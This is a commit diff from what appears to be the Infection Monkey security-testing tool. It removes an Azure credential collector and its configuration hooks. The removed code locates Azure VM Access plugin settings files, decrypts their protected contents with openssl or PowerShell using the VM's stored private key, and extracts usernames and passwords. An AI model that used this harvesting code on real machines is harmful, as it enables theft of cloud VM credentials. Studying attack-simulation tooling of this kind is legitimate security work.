Agent, Common: remove azure credential collector
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@ -3,4 +3,3 @@ HOSTNAME_COLLECTOR = "HostnameCollector"
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ENVIRONMENT_COLLECTOR = "EnvironmentCollector"
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PROCESS_LIST_COLLECTOR = "ProcessListCollector"
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MIMIKATZ_COLLECTOR = "MimikatzCollector"
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AZURE_CRED_COLLECTOR = "AzureCollector"
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@ -11,7 +11,6 @@
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"current_server": "192.0.2.0:5000",
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"alive": true,
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"collect_system_info": true,
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"extract_azure_creds": true,
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"should_use_mimikatz": true,
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"depth": 2,
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@ -4,9 +4,7 @@ from enum import IntEnum
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import psutil
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from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR
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from infection_monkey.network.info import get_host_subnets
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from infection_monkey.system_info.azure_cred_collector import AzureCollector
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from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler
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logger = logging.getLogger(__name__)
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@ -63,7 +61,6 @@ class InfoCollector(object):
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def get_info(self):
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# Collect all hardcoded
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self.get_network_info()
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self.get_azure_info()
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# Collect all plugins
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SystemInfoCollectorsHandler().execute_all_configured()
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@ -77,35 +74,3 @@ class InfoCollector(object):
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"""
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logger.debug("Reading subnets")
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self.info["network_info"] = {"networks": get_host_subnets()}
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def get_azure_info(self):
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"""
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Adds credentials possibly stolen from an Azure VM instance (if we're on one)
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Updates the credentials structure, creating it if necessary (compat with mimikatz)
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:return: None. Updates class information
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"""
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# noinspection PyBroadException
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try:
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from infection_monkey.config import WormConfiguration
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if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes:
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return
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logger.debug("Harvesting creds if on an Azure machine")
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azure_collector = AzureCollector()
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azure_creds = azure_collector.extract_stored_credentials()
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for cred in azure_creds:
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username = cred[0]
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password = cred[1]
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if username not in self.info["credentials"]:
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self.info["credentials"][username] = {}
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# we might be losing passwords in case of multiple reset attempts on same username
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# or in case another collector already filled in a password for this user
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self.info["credentials"][username]["password"] = password
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self.info["credentials"][username]["username"] = username
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if len(azure_creds) != 0:
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self.info["Azure"] = {}
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self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds]
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except Exception:
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# If we failed to collect azure info, no reason to fail all the collection. Log and
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# continue.
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logger.error("Failed collecting Azure info.", exc_info=True)
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@ -1,131 +0,0 @@
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import glob
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import json
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import logging
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import os.path
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import subprocess
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import sys
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from common.utils.attack_utils import ScanStatus
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from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
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from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
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logger = logging.getLogger(__name__)
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class AzureCollector(object):
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"""
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Extract credentials possibly saved on Azure VM instances by the VM Access plugin
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"""
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def __init__(self):
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if sys.platform.startswith("win"):
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self.path = (
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"C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
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)
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self.extractor = AzureCollector.get_pass_windows
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else:
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self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
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self.extractor = AzureCollector.get_pass_linux
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self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
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def extract_stored_credentials(self):
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"""
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Returns a list of username/password pairs saved under configuration files
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:return: List of (user/pass), possibly empty
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"""
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results = [self.extractor(filepath) for filepath in self.file_list]
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results = [x for x in results if x]
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logger.info("Found %d Azure VM access configuration file", len(results))
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return results
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@staticmethod
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def get_pass_linux(filepath):
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"""
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Extract passwords from Linux azure VM Access files
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:return: Username, password
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"""
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linux_cert_store = "/var/lib/waagent/"
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try:
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json_data = json.load(open(filepath, "r"))
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# this is liable to change but seems to be stable over the last year
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protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
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cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][
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"protectedSettingsCertThumbprint"
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]
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base64_command = """openssl base64 -d -a"""
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priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
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b64_proc = subprocess.Popen(
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base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
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)
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b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
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decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
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decrypt_proc = subprocess.Popen(
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decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
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)
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decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
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decrypt_data = json.loads(decrypt_raw)
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T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
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T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send()
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return decrypt_data["username"], decrypt_data["password"]
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except IOError:
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logger.warning("Failed to parse VM Access plugin file. Could not open file")
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return None
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except (KeyError, ValueError):
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logger.warning("Failed to parse VM Access plugin file. Invalid format")
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return None
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except subprocess.CalledProcessError:
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logger.warning(
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"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
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)
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return None
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@staticmethod
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def get_pass_windows(filepath):
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"""
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Extract passwords from Windows azure VM Access files
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:return: Username,password
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"""
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try:
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json_data = json.load(open(filepath, "r"))
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# this is liable to change but seems to be stable over the last year
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protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
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username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][
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"UserName"
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]
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# we're going to do as much of this in PS as we can.
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ps_block = ";\n".join(
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[
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'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
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"Out-Null",
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'$base64 = "%s"' % protected_data,
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"$content = [Convert]::FromBase64String($base64)",
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"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
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"$env.Decode($content)",
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"$env.Decrypt()",
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"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
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"Write-Host $utf8content", # we want to simplify parsing
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]
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)
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ps_proc = subprocess.Popen(
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["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
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)
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ps_out = ps_proc.communicate(ps_block)[0]
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# this is disgusting but the alternative is writing the file to disk...
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password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1]
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password = json.loads(password_raw)["Password"]
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T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
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T1064Telem(
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ScanStatus.USED, "Powershell scripts used to extract azure credentials."
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).send()
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return username, password
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except IOError:
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logger.warning("Failed to parse VM Access plugin file. Could not open file")
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return None
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except (KeyError, ValueError, IndexError):
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logger.warning("Failed to parse VM Access plugin file. Invalid format")
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return None
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except subprocess.CalledProcessError:
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logger.warning(
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"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
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)
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return None
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@ -14,7 +14,6 @@ class ConfigSchemaPerAttackTechnique:
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"T1003": {
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"System Info Collectors": [
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"Mimikatz collector",
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"Azure credential collector"
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]
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}
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}
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